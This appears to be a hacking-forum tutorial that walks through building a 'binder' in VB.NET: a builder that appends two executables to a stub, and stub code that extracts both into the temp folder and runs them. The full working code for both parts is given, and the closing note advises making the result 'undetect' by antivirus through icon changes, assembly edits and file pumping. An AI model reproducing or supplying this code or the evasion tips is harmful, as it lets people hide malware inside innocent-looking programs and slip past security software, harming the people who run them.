Hi friends Today my tutorial is about how to create a binder in .net
Open new vb project
First we gone build bulder for your binder :-
We need :-
2 textbox
3 button
first we need to declare function :
putt this code below public form1
Code:
Dim ofd1 As New OpenFileDialog
Dim ofd2 As New OpenFileDialog
Dim first, second, stub As String
Const x = "@theBinder@"
Dim location1, location2 As String
Now click on button 1 ( rename as Browse) And add this :
Code:
ofd1.DefaultExt = "exe"
ofd1.Filter = "Any Files (*.*)|*.*"
ofd1.FilterIndex = 1
ofd1.FileName = ""
If ofd1.ShowDialog(Me) = Windows.Forms.DialogResult.OK Then
TextBox1.Text = String.Empty
TextBox1.Text = ofd1.FileName
End If
Now click on button 2 ( rename as Browse) And add this :
Code:
ofd2.DefaultExt = "exe"
ofd2.Filter = "Any Files (*.*)|*.*"
ofd2.FilterIndex = 1
ofd2.FileName = ""
If ofd2.ShowDialog(Me) = Windows.Forms.DialogResult.OK Then
TextBox2.Text = String.Empty
TextBox2.Text = ofd2.FileName
End If
Now click on button 3 ( rename as Bind) And add this :
Code:
location1 = ofd1.FileName.Substring(ofd1.FileName.LastIndexOf("\") + 1)
location2 = ofd2.FileName.Substring(ofd2.FileName.LastIndexOf("\") + 1)
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
first = Space(LOF(1))
FileGet(1, first)
FileClose(1)
FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
second = Space(LOF(2))
FileGet(2, second)
FileClose(2)
FileOpen(3, Application.StartupPath & "\bin.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(3))
FileGet(3, stub)
FileClose(3)
FileOpen(3, Application.StartupPath & "\binded.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, stub & x & first & x & second & x & location1 & x & location2)
MsgBox("Done")
FileClose(3)
Now the stub part
now open new project and name it as "bin" becoz in builder we name it as "bin" so dont change or change there name first
double click on forum 1 and add this code
Code:
Const x = "@theBinder@"
Dim temp As String = System.IO.Path.GetTempPath
Dim first, splitter() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
first = Space(LOF(1))
FileGet(1, first)
FileClose(1)
splitter = Split(first, x)
FileOpen(3, temp & "\" & splitter(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, splitter(1))
FileClose(3)
FileOpen(3, temp & "\" & splitter(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, splitter(2))
FileClose(3)
Process.Start(temp & splitter(3))
Process.Start(temp & splitter(4))
Me.Close()
End
Note
Quote:Const x = "@theBinder@" 'should be same in bulder and sub or it wont work
Some time antivirus detect it so add icon, change assembly property, Incress size of stub wiz pumper this may help u to make it undetect from antivirus
Feel lazy to post the project

if any one need reply here i will post it
hope your like tutorial( if u dont get any thing then you can pm me)